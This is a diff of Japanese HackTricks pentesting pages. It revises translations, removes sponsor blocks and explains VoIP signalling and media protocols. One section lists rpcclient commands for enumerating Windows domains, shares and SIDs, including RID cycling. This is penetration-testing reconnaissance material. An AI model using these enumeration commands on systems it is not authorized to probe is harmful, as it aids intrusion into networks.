* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Relative Identifiers (RID) と Security Identifiers (SID) の概要
|
||||
|
||||
**Relative Identifiers (RID)** と **Security Identifiers (SID)** は、ネットワークドメイン内のオブジェクト(ユーザーやグループなど)を一意に識別し管理するためのWindowsオペレーティングシステムの重要なコンポーネントです。
|
||||
**Relative Identifiers (RID)** と **Security Identifiers (SID)** は、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別し管理するための、Windowsオペレーティングシステムの重要なコンポーネントです。
|
||||
|
||||
- **SID** はドメインの一意の識別子として機能し、各ドメインが区別できるようにします。
|
||||
- **RID** はSIDに追加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限とアクセス制御の正確な追跡と管理が可能になります。
|
||||
- **RID** はSIDに付加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限やアクセス制御の正確な追跡と管理が可能になります。
|
||||
|
||||
例えば、`pepe`という名前のユーザーは、ドメインのSIDと特定のRIDを組み合わせた一意の識別子を持つことがあります。これは16進数(`0x457`)および10進数(`1111`)形式で表されます。これにより、ドメイン内のpepeの完全かつ一意の識別子は次のようになります: `S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
|
||||
|
||||
### **rpcclientによる列挙**
|
||||
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。通常、資格情報が必要です。
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。これには、通常、資格情報が必要です。
|
||||
|
||||
#### サーバー情報
|
||||
|
||||
|
@ -69,18 +61,18 @@ done
|
|||
|
||||
#### ドメインの列挙
|
||||
|
||||
* **ドメイン**は: `enumdomains`を使用。
|
||||
* **ドメイン**は: `enumdomains`を使用して。
|
||||
* **ドメインのSIDは取得される**: `lsaquery`を通じて。
|
||||
* **ドメイン情報は取得される**: `querydominfo`で。
|
||||
|
||||
#### シェアの列挙
|
||||
#### 共有の列挙
|
||||
|
||||
* **すべての利用可能なシェア**は: `netshareenumall`で。
|
||||
* **特定のシェアに関する情報は取得される**: `netsharegetinfo <share>`で。
|
||||
* **すべての利用可能な共有**は: `netshareenumall`で。
|
||||
* **特定の共有に関する情報は取得される**: `netsharegetinfo <share>`で。
|
||||
|
||||
#### SIDに関する追加操作
|
||||
|
||||
* **名前によるSID**は: `lookupnames <username>`を使用。
|
||||
* **名前によるSID**は: `lookupnames <username>`を使用して。
|
||||
* **さらに多くのSID**は: `lsaenumsid`で。
|
||||
* **より多くのSIDを確認するためのRIDサイクリング**は: `lookupsids <sid>`で行われる。
|
||||
|
||||
|
@ -104,12 +96,6 @@ done
|
|||
|
||||
ツール _**samrdump**_ **と** _**rpcdump**_ の動作をよりよく理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -119,7 +105,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,26 +10,12 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害されているかどうか**を確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## シグナリングプロトコル
|
||||
|
||||
### SIP (セッション開始プロトコル)
|
||||
|
@ -42,94 +28,99 @@ WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
### MGCP (メディアゲートウェイ制御プロトコル)
|
||||
|
||||
MGCP (メディアゲートウェイ制御プロトコル)は、RFC 3435で概説された**シグナリング**および**コール制御プロトコル**です。これは、3つの主要なコンポーネントからなる集中型アーキテクチャで動作します:
|
||||
MGCP (メディアゲートウェイ制御プロトコル)は、RFC 3435で概説された**シグナリング**および**通話** **制御プロトコル**です。これは、3つの主要なコンポーネントからなる集中型アーキテクチャで動作します:
|
||||
|
||||
1. **コールエージェントまたはメディアゲートウェイコントローラー (MGC)**:MGCPアーキテクチャのマスターゲートウェイは、**メディアゲートウェイの管理と制御**を担当します。コールのセットアップ、変更、終了プロセスを処理します。MGCはMGCPプロトコルを使用してメディアゲートウェイと通信します。
|
||||
2. **メディアゲートウェイ (MG) またはスレーブゲートウェイ**:これらのデバイスは、**異なるネットワーク間でデジタルメディアストリームを変換**します。例えば、従来の回路交換電話とパケット交換IPネットワークなどです。MGCによって管理され、受信したコマンドを実行します。メディアゲートウェイには、トランスコーディング、パケット化、エコーキャンセリングなどの機能が含まれる場合があります。
|
||||
3. **シグナリングゲートウェイ (SG)**:これらのゲートウェイは、**異なるネットワーク間でシグナリングメッセージを変換**する責任があります。これにより、従来の電話システム(例:SS7)とIPベースのネットワーク(例:SIPまたはH.323)間のシームレスな通信が可能になります。シグナリングゲートウェイは、相互運用性を確保し、異なるネットワーク間でコール制御情報が適切に通信されることを保証するために重要です。
|
||||
1. **コールエージェントまたはメディアゲートウェイコントローラー (MGC)**:MGCPアーキテクチャのマスターゲートウェイは、**メディアゲートウェイの管理と制御**を担当します。通話のセットアップ、変更、終了プロセスを処理します。MGCはMGCPプロトコルを使用してメディアゲートウェイと通信します。
|
||||
2. **メディアゲートウェイ (MG) またはスレーブゲートウェイ**:これらのデバイスは、**異なるネットワーク間でデジタルメディアストリームを変換**します。例えば、従来の回路交換電話とパケット交換IPネットワークなどです。これらはMGCによって管理され、受信したコマンドを実行します。メディアゲートウェイには、トランスコーディング、パケット化、エコーキャンセリングなどの機能が含まれる場合があります。
|
||||
3. **シグナリングゲートウェイ (SG)**:これらのゲートウェイは、**異なるネットワーク間でシグナリングメッセージを変換**する責任があります。これにより、従来の電話システム(例:SS7)とIPベースのネットワーク(例:SIPまたはH.323)間のシームレスな通信が可能になります。シグナリングゲートウェイは、相互運用性を確保し、異なるネットワーク間で通話制御情報が適切に通信されることを保証するために重要です。
|
||||
|
||||
要約すると、MGCPはコールエージェントにコール制御ロジックを集中させ、メディアおよびシグナリングゲートウェイの管理を簡素化し、通信ネットワークにおけるスケーラビリティ、信頼性、効率を向上させます。
|
||||
要約すると、MGCPはコールエージェントに通話制御ロジックを集中させ、メディアおよびシグナリングゲートウェイの管理を簡素化し、通信ネットワークにおけるスケーラビリティ、信頼性、効率を向上させます。
|
||||
|
||||
### SCCP (スキニークライアント制御プロトコル)
|
||||
|
||||
スキニークライアント制御プロトコル (SCCP)は、Cisco Systemsが所有する**独自のシグナリングおよびコール制御プロトコル**です。主に**Cisco Unified Communications Manager**(以前はCallManagerとして知られていた)とCisco IP電話または他のCisco音声およびビデオエンドポイント間の通信に使用されます。
|
||||
スキニークライアント制御プロトコル (SCCP)は、Cisco Systemsが所有する**独自のシグナリングおよび通話制御プロトコル**です。主に**Cisco Unified Communications Manager**(以前のCallManager)とCisco IP電話または他のCisco音声およびビデオエンドポイント間の通信に使用されます。
|
||||
|
||||
SCCPは、コール制御サーバーとエンドポイントデバイス間の通信を簡素化する軽量プロトコルです。「スキニー」と呼ばれるのは、他のVoIPプロトコル(例:H.323やSIP)に比べてミニマリスティックな設計と帯域幅要件が少ないためです。
|
||||
SCCPは、通話制御サーバーとエンドポイントデバイス間の通信を簡素化する軽量プロトコルです。「スキニー」と呼ばれるのは、他のVoIPプロトコル(例:H.323やSIP)に比べてミニマリスティックな設計と帯域幅要件が少ないためです。
|
||||
|
||||
SCCPベースのシステムの主なコンポーネントは次のとおりです:
|
||||
|
||||
1. **コール制御サーバー**:通常はCisco Unified Communications Managerで、このサーバーはコールのセットアップ、変更、終了プロセスを管理し、コール転送、コール転送、コール保持などの他の電話機能も管理します。
|
||||
2. **SCCPエンドポイント**:これらは、IP電話、ビデオ会議ユニット、またはSCCPを使用してコール制御サーバーと通信する他のCisco音声およびビデオエンドポイントなどのデバイスです。これらはサーバーに登録し、シグナリングメッセージを送受信し、コール制御サーバーから提供される指示に従ってコールを処理します。
|
||||
3. **ゲートウェイ**:これらのデバイス(音声ゲートウェイやメディアゲートウェイなど)は、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換する責任があります。トランスコーディングやエコーキャンセリングなどの追加機能を含む場合もあります。
|
||||
1. **通話制御サーバー**:通常はCisco Unified Communications Managerで、このサーバーは通話のセットアップ、変更、終了プロセス、および通話転送、通話転送、通話保留などの他の電話機能を管理します。
|
||||
2. **SCCPエンドポイント**:これらは、IP電話、ビデオ会議ユニット、またはSCCPを使用して通話制御サーバーと通信する他のCisco音声およびビデオエンドポイントなどのデバイスです。これらはサーバーに登録し、シグナリングメッセージを送受信し、通話制御サーバーから提供される指示に従います。
|
||||
3. **ゲートウェイ**:これらのデバイス(音声ゲートウェイやメディアゲートウェイなど)は、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換する責任があります。また、トランスコーディングやエコーキャンセリングなどの追加機能を含む場合があります。
|
||||
|
||||
SCCPは、Ciscoコール制御サーバーとエンドポイントデバイス間のシンプルで効率的な通信方法を提供します。ただし、**SCCPは独自のプロトコル**であるため、非Ciscoシステムとの相互運用性が制限される可能性があります。そのため、他の標準VoIPプロトコル(例:SIP)がより適している場合があります。
|
||||
SCCPは、Cisco通話制御サーバーとエンドポイントデバイス間のシンプルで効率的な通信方法を提供します。ただし、**SCCPは独自のプロトコル**であるため、非Ciscoシステムとの相互運用性が制限される可能性があります。そのため、他の標準VoIPプロトコル(例:SIP)がより適している場合があります。
|
||||
|
||||
### H.323
|
||||
|
||||
H.323は、音声、ビデオ、データ会議を含むマルチメディア通信のための**プロトコルスイート**で、パケット交換ネットワーク(例:IPベースのネットワーク)上で動作します。これは**国際電気通信連合**(ITU-T)によって開発され、マルチメディア通信セッションを管理するための包括的なフレームワークを提供します。
|
||||
|
||||
H.323スイートの主なコンポーネントには次のものが含まれます:
|
||||
H.323スイートの主なコンポーネントには次のものがあります:
|
||||
|
||||
1. **端末**:これらは、H.323をサポートし、マルチメディア通信セッションに参加できるエンドポイントデバイス(例:IP電話、ビデオ会議システム、ソフトウェアアプリケーション)です。
|
||||
2. **ゲートウェイ**:これらのデバイスは、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換し、H.323と他の通信システム間の相互運用性を可能にします。トランスコーディングやエコーキャンセリングなどの追加機能を含む場合もあります。
|
||||
3. **ゲートキーパー**:これらは、H.323ネットワーク内でコール制御および管理サービスを提供するオプションのコンポーネントです。アドレス変換、帯域幅管理、入場制御などの機能を実行し、ネットワークリソースの管理と最適化を支援します。
|
||||
4. **マルチポイント制御ユニット (MCU)**:これらのデバイスは、複数のエンドポイントからのメディアストリームを管理およびミキシングすることにより、マルチポイント会議を促進します。MCUは、ビデオレイアウト制御、音声アクティブスイッチング、継続的なプレゼンスなどの機能を可能にし、複数の参加者との大規模な会議を開催できるようにします。
|
||||
1. **端末**:これらは、H.323をサポートし、マルチメディア通信セッションに参加できるエンドポイントデバイス(例:IP電話、ビデオ会議システム、またはソフトウェアアプリケーション)です。
|
||||
2. **ゲートウェイ**:これらのデバイスは、従来の回路交換電話とパケット交換IPネットワークのような異なるネットワーク間でメディアストリームを変換し、H.323と他の通信システム間の相互運用性を可能にします。また、トランスコーディングやエコーキャンセリングなどの追加機能を含む場合があります。
|
||||
3. **ゲートキーパー**:これらは、H.323ネットワーク内で通話制御および管理サービスを提供するオプションのコンポーネントです。アドレス変換、帯域幅管理、入場制御などの機能を実行し、ネットワークリソースの管理と最適化を支援します。
|
||||
4. **マルチポイント制御ユニット (MCU)**:これらのデバイスは、複数のエンドポイントからのメディアストリームを管理およびミキシングすることにより、マルチポイント会議を促進します。MCUは、ビデオレイアウト制御、音声アクティブスイッチング、継続的なプレゼンスなどの機能を可能にし、複数の参加者との大規模な会議をホストすることを可能にします。
|
||||
|
||||
H.323は、音声およびビデオコーデックの範囲をサポートし、コール転送、コール転送、コール保持、コール待機などの他の補助サービスも提供します。VoIPの初期に広く採用されましたが、H.323は次第に**セッション開始プロトコル (SIP)**のようなより現代的で柔軟なプロトコルに置き換えられています。SIPは、より良い相互運用性と簡単な実装を提供します。しかし、H.323は多くのレガシーシステムで使用され続けており、さまざまな機器ベンダーによってサポートされています。
|
||||
H.323は、音声およびビデオコーデックの範囲、ならびに通話転送、通話転送、通話保留、通話待機などの他の補助サービスをサポートします。VoIPの初期に広く採用されましたが、H.323は、相互運用性が向上し、実装が容易な**セッション開始プロトコル (SIP)**のようなより現代的で柔軟なプロトコルに徐々に置き換えられています。ただし、H.323は多くのレガシーシステムで使用され続けており、さまざまな機器ベンダーによってサポートされています。
|
||||
|
||||
### IAX (インターアスタリスクエクスチェンジ)
|
||||
|
||||
IAX (インターアスタリスクエクスチェンジ)は、主にAsterisk PBX(プライベートブランチ交換)サーバーと他のVoIPデバイス間の通信に使用される**シグナリングおよびコール制御プロトコル**です。これは、AsteriskオープンソースPBXソフトウェアの作成者であるMark Spencerによって、SIPやH.323などの他のVoIPプロトコルの代替として開発されました。
|
||||
IAX (インターアスタリスクエクスチェンジ)は、主にAsterisk PBX(プライベートブランチ交換)サーバーと他のVoIPデバイス間の通信に使用される**シグナリングおよび通話制御プロトコル**です。これは、AsteriskオープンソースPBXソフトウェアの作成者であるMark Spencerによって、SIPやH.323のような他のVoIPプロトコルの代替として開発されました。
|
||||
|
||||
IAXは、その**シンプルさ、効率性、実装の容易さ**で知られています。IAXの主な特徴は次のとおりです:
|
||||
|
||||
1. **単一UDPポート**:IAXは、シグナリングとメディアトラフィックの両方に単一のUDPポート(4569)を使用し、ファイアウォールやNATのトラバーサルを簡素化し、さまざまなネットワーク環境での展開を容易にします。
|
||||
2. **バイナリプロトコル**:SIPのようなテキストベースのプロトコルとは異なり、IAXはバイナリプロトコルであり、帯域幅の消費を減少させ、シグナリングおよびメディアデータの送信をより効率的にします。
|
||||
3. **トランキング**:IAXはトランキングをサポートしており、複数のコールを単一のネットワーク接続に結合することができ、オーバーヘッドを削減し、帯域幅の利用を改善します。
|
||||
4. **ネイティブ暗号化**:IAXは、RSAのような鍵交換方法とAESのようなメディア暗号化を使用して、エンドポイント間の安全な通信を提供するための暗号化をネイティブにサポートしています。
|
||||
5. **ピアツーピア通信**:IAXは、中央サーバーを必要とせずにエンドポイント間で直接通信するために使用でき、よりシンプルで効率的なコールルーティングを可能にします。
|
||||
2. **バイナリプロトコル**:SIPのようなテキストベースのプロトコルとは異なり、IAXはバイナリプロトコルであり、帯域幅消費を削減し、シグナリングおよびメディアデータの送信をより効率的にします。
|
||||
3. **トランキング**:IAXはトランキングをサポートしており、複数の通話を単一のネットワーク接続に結合することができ、オーバーヘッドを削減し、帯域幅の利用を改善します。
|
||||
4. **ネイティブ暗号化**:IAXは、RSAのような鍵交換方法とAESのようなメディア暗号化を使用して、エンドポイント間の安全な通信を提供するための暗号化をサポートしています。
|
||||
5. **ピアツーピア通信**:IAXは、中央サーバーを必要とせずにエンドポイント間で直接通信するために使用でき、よりシンプルで効率的な通話ルーティングを可能にします。
|
||||
|
||||
利点にもかかわらず、IAXにはいくつかの制限があります。主にAsteriskエコシステムに焦点を当てており、SIPのようなより確立されたプロトコルに比べて広く採用されていません。そのため、非Asteriskシステムやデバイスとの相互運用性には最適ではないかもしれません。しかし、Asterisk環境内で作業している人々にとって、IAXはVoIP通信のための堅牢で効率的なソリューションを提供します。
|
||||
利点にもかかわらず、IAXにはいくつかの制限があります。主にAsteriskエコシステムに焦点を当てており、SIPのようなより確立されたプロトコルに比べて広く採用されていません。そのため、非Asteriskシステムやデバイスとの相互運用性には最適ではないかもしれません。ただし、Asterisk環境内で作業している人にとって、IAXはVoIP通信のための堅牢で効率的なソリューションを提供します。
|
||||
|
||||
## 伝送および輸送プロトコル
|
||||
|
||||
### SDP (セッション記述プロトコル)
|
||||
|
||||
SDP (セッション記述プロトコル)は、IPネットワーク上での音声、ビデオ、またはデータ会議などのマルチメディアセッションの特性を記述するために使用される**テキストベースのフォーマット**です。これは**インターネット技術タスクフォース (IETF)**によって開発され、**RFC 4566**で定義されています。SDPは実際のメディア伝送やセッションの確立を処理せず、**SIP (セッション開始プロトコル)**のような他のシグナリングプロトコルと組み合わせて、メディアストリームとその属性に関する情報を交渉および交換するために使用されます。
|
||||
SDP (セッション記述プロトコル)は、IPネットワーク上での音声、ビデオ、またはデータ会議などのマルチメディアセッションの特性を記述するために使用される**テキストベースのフォーマット**です。これは**インターネット技術者タスクフォース (IETF)**によって開発され、**RFC 4566**で定義されています。SDPは実際のメディア伝送やセッションの確立を処理せず、**SIP (セッション開始プロトコル)**のような他のシグナリングプロトコルと組み合わせて、メディアストリームとその属性に関する情報を交渉および交換するために使用されます。
|
||||
|
||||
SDPの主な要素は次のとおりです:
|
||||
|
||||
1. **セッション情報**:SDPは、セッション名、セッションの説明、開始時刻、終了時刻など、マルチメディアセッションの詳細を記述します。
|
||||
2. **メディアストリーム**:SDPは、メディアタイプ(音声、ビデオ、またはテキスト)、輸送プロトコル(例:RTPまたはSRTP)、およびメディアフォーマット(例:コーデック情報)など、メディアストリームの特性を定義します。
|
||||
3. **接続情報**:SDPは、メディアが送信または受信されるべきネットワークアドレス(IPアドレス)およびポート番号に関する情報を提供します。
|
||||
3. **接続情報**:SDPは、メディアが送信または受信されるネットワークアドレス(IPアドレス)およびポート番号に関する情報を提供します。
|
||||
4. **属性**:SDPは、セッションまたはメディアストリームに関する追加のオプション情報を提供するために属性の使用をサポートします。属性は、暗号化キー、帯域幅要件、またはメディア制御メカニズムなどのさまざまな機能を指定するために使用できます。
|
||||
|
||||
SDPは通常、次のプロセスで使用されます:
|
||||
|
||||
1. 開始する当事者が、メディアストリームとその属性の詳細を含む提案されたマルチメディアセッションのSDP記述を作成します。
|
||||
2. SDP記述は、通常、SIPやRTSPのようなシグナリングプロトコルメッセージ内に埋め込まれて受信者に送信されます。
|
||||
3. 受信者はSDP記述を処理し、その能力に基づいて、提案されたセッションを受け入れる、拒否する、または修正することがあります。
|
||||
4. 最終的なSDP記述は、シグナリングプロトコルメッセージの一部として開始する当事者に返送され、交渉プロセスが完了します。
|
||||
1. 開始側が、メディアストリームとその属性の詳細を含む提案されたマルチメディアセッションのSDP記述を作成します。
|
||||
2. SDP記述は、通常、SIPやRTSPのようなシグナリングプロトコルメッセージ内に埋め込まれて受信側に送信されます。
|
||||
3. 受信側はSDP記述を処理し、その能力に基づいて、提案されたセッションを受け入れる、拒否する、または変更することがあります。
|
||||
4. 最終的なSDP記述は、シグナリングプロトコルメッセージの一部として開始側に返送され、交渉プロセスが完了します。
|
||||
|
||||
SDPのシンプルさと柔軟性は、さまざまな通信システムでマルチメディアセッションを記述するための広く採用された標準となっており、IPネットワーク上でリアルタイムのマルチメディアセッションを確立および管理する上で重要な役割を果たしています。
|
||||
SDPのシンプルさと柔軟性は、さまざまな通信システムでマルチメディアセッションを記述するための広く採用された標準となっており、IPネットワーク上でリアルタイムのマルチメディアセッションを確立および管理する上で重要な役割を果たします。
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (リアルタイムトランスポートプロトコル)**:RTPは、IPネットワーク上で音声およびビデオデータ、または他のリアルタイムメディアを配信するために設計されたネットワークプロトコルです。**IETF**によって開発され、**RFC 3550**で定義されているRTPは、SIPやH.323のようなシグナリングプロトコルと一般的に使用され、マルチメディア通信を可能にします。RTPは、メディアストリームの**同期**、**シーケンシング**、および**タイムスタンプ**のメカニズムを提供し、スムーズでタイムリーなメディア再生を確保します。
|
||||
2. **RTCP (リアルタイムトランスポート制御プロトコル)**:RTCPは、RTPの補完プロトコルで、サービス品質(QoS)を監視し、メディアストリームの伝送に関するフィードバックを提供するために使用されます。RTPと同じ**RFC 3550**で定義されているRTCPは、**RTPセッションの参加者間で制御パケットを定期的に交換**します。パケットロス、ジッター、往復時間などの情報を共有し、ネットワーク条件を診断し、適応するのに役立ち、全体的なメディア品質を向上させます。
|
||||
2. **RTCP (リアルタイムトランスポート制御プロトコル)**:RTCPは、RTPの補完プロトコルで、サービス品質(QoS)を監視し、メディアストリームの伝送に関するフィードバックを提供するために使用されます。RTPと同じ**RFC 3550**で定義されているRTCPは、**RTPセッションの参加者間で制御パケットを定期的に交換**します。パケット損失、ジッター、往復時間などの情報を共有し、ネットワーク条件を診断し、適応するのに役立ち、全体的なメディア品質を向上させます。
|
||||
3. **SRTP (セキュアリアルタイムトランスポートプロトコル)**:SRTPは、メディアストリームに対して**暗号化**、**メッセージ認証**、および**再生防止**を提供するRTPの拡張です。**RFC 3711**で定義されており、SRTPはAESのような暗号化アルゴリズムとHMAC-SHA1のようなメッセージ認証を使用します。SRTPは、SIP over TLSのような安全なシグナリングプロトコルと組み合わせて使用され、マルチメディア通信におけるエンドツーエンドのセキュリティを提供します。
|
||||
4. **ZRTP (ジマーマンリアルタイムトランスポートプロトコル)**:ZRTPは、RTPメディアストリームに対して**エンドツーエンドの暗号化**を提供する暗号鍵合意プロトコルです。PGPの作成者であるPhil Zimmermannによって開発され、**RFC 6189**で説明されています。ZRTPは、鍵交換のためにシグナリングプロトコルに依存するSRTPとは異なり、シグナリングプロトコルとは独立して機能するように設計されています。**Diffie-Hellman鍵交換**を使用して、通信する当事者間で共有秘密を確立し、事前の信頼や公開鍵基盤(PKI)を必要としません。ZRTPは、マンインザミドル攻撃から保護するための**短い認証文字列(SAS)**のような機能も含んでいます。
|
||||
4. **ZRTP (ジマーマンリアルタイムトランスポートプロトコル)**:ZRTPは、RTPメディアストリームに対して**エンドツーエンドの暗号化**を提供する暗号鍵合意プロトコルです。PGPの作成者であるPhil Zimmermannによって開発され、**RFC 6189**で説明されています。ZRTPは、鍵交換のためにシグナリングプロトコルに依存するSRTPとは異なり、シグナリングプロトコルとは独立して機能するように設計されています。**Diffie-Hellman鍵交換**を使用して、通信する当事者間で共有秘密を確立し、事前の信頼や公開鍵基盤(PKI)を必要としません。ZRTPには、マンインザミドル攻撃から保護するための**短い認証文字列(SAS)**などの機能も含まれています。
|
||||
|
||||
これらのプロトコルは、**IPネットワーク上でのリアルタイムマルチメディア通信の配信とセキュリティ**において重要な役割を果たします。RTPとRTCPは実際のメディア伝送と品質監視を処理し、SRTPとZRTPは、送信されたメディアが盗聴、改ざん、再生攻撃から保護されることを保証します。
|
||||
これらのプロトコルは、**IPネットワーク上でのリアルタイムマルチメディア通信の配信とセキュリティにおいて重要な役割を果たします**。RTPとRTCPは実際のメディア伝送と品質監視を処理し、SRTPとZRTPは、送信されたメディアが盗聴、改ざん、再生攻撃から保護されることを保証します。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
<details>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害されているかどうか**を確認するための**無料**機能を提供しています。
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Electron Desktop Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
